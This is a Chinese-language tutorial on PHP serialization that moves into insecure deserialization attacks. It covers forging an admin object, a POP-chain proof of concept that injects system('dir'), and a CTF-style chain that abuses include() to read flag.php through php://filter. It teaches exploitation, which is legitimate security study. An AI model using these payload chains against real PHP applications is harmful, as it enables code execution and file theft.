一、PHP 序列化
1、对象的序列化
<?php
class people{
public $name='Gaming';
private $Nation='Liyue';
protected $Birthday='12/22';
public function say(){
echo "老板你好呀,我是和记厅的镖师,叫我嘉明就行,要运货吗你?";
}
}
$Gaming=new people();
echo $Gaming->name;
echo '<br>';
$a=serialize($Gaming); //将 对象 $Gaming 序列化为 字符串
echo $a;
echo '<br>';
$c=urlencode($a); //将 字符串 $a 进行 url 编码
echo $c;
运行:
Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";} O%3A6%3A%22people%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22Gaming%22%3Bs%3A14%3A%22%00people%00Nation%22%3Bs%3A5%3A%22Liyue%22%3Bs%3A11%3A%22%00%2A%00Birthday%22%3Bs%3A5%3A%2212%2F22%22%3B%7D
O:(object)一个序列化的对象
6:类名的长度
3:类中有 3 个属性
s:(string)字符串
4:属性 长度
6:值 长度
2、数组的序列化
①、普通数组
$arr=array('Gaming','Chongyun');
echo serialize($arr);
运行:
> a:2:{i:0;s:6:"Gaming";i:1;s:8:"Chongyun";}
a:数组
2:2 个值
i:索引
0:第 0 个
②、关联数组
$arr=array(
'name' => 'Chongyun',
'Nation' => 'Liyue',
'Birthday' => '9/7'
);
echo serialize($arr);
运行:
a:3:{s:4:"name";s:8:"Chongyun";s:6:"Nation";s:5:"Liyue";s:8:"Birthday";s:3:"9/7";}
二、PHP 反序列化
$Gaming=new people();
echo $Gaming->name;
echo '<br>';
$a=serialize($Gaming); //将 对象 $Gaming 序列化为 字符串
echo $a;
echo '<br>';
echo '<br>';
print_r(unserialize($a));
echo '<br>';
echo '<br>';
var_dump(unserialize($a));
运行:
Gaming O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}
people Object ( [name] => Gaming [Nation:people:private] => Liyue [Birthday:protected] => 12/22 )
object(people)#2 (3) { ["name"]=> string(6) "Gaming" ["Nation":"people":private]=> string(5) "Liyue" ["Birthday":protected]=> string(5) "12/22" }
获得一个 序列化 的字符串 :
O:6:"people":3:{s:4:"name";s:6:"Gaming";s:14:"peopleNation";s:5:"Liyue";s:11:"*Birthday";s:5:"12/22";}
手动添加 空字符
s:14:"%00people%00Nation";s:5:"Liyue";s:11:"%00*%00Birthday";
篡改字符串信息,反序列化后得到 篡改后的 对象 :
highlight_file(__FILE__);
class User {
public $username='lili';
public $isAdmin=0;
}
$userData = $_GET['data'];
$user = unserialize($userData);
if($user->isAdmin===1 && $user->username==='admin'){
// 目标输出:欢迎你管理员~
echo '欢迎你管理员~';
}
else{
echo '你是一个普通用户!';
}
编写脚本,得到序列化字符串
class User {
public $username='admin';
public $isAdmin=1;
}
$user = new User();
$serialized_data = serialize($user);
echo $serialized_data;
GET 传参即可
三、pop链的构造
引入:
if(isset($_GET['test'])){
@unserialize($_GET['test']);
highlight_file(__FILE__);
}
else{
$a=new test;
}
POC 编写:
class test{
private $index;
function __construct()
{
$this->index=new execute();
}
}
class execute{
public $test="system('dir');";
}
$a=new test();
echo urlencode(serialize($a));
```
例题:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
POC 构造:
class Modifier {
protected $var="flag.php"; #include函数使用为协议读取文件
// protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
//将另一个对象赋值给属性需要使用构造函数。
public function __construct(){
$this->str =new Test(); // 触发 __get()
}
}
$new_show = new Show(); // 触发 POP链中的 __construct()
$new_show->source = new Show(); // 触发 __toString()
$new_show->source->str->p = new Modifier(); // 触发 __invoke()
echo urlencode(serialize($new_show));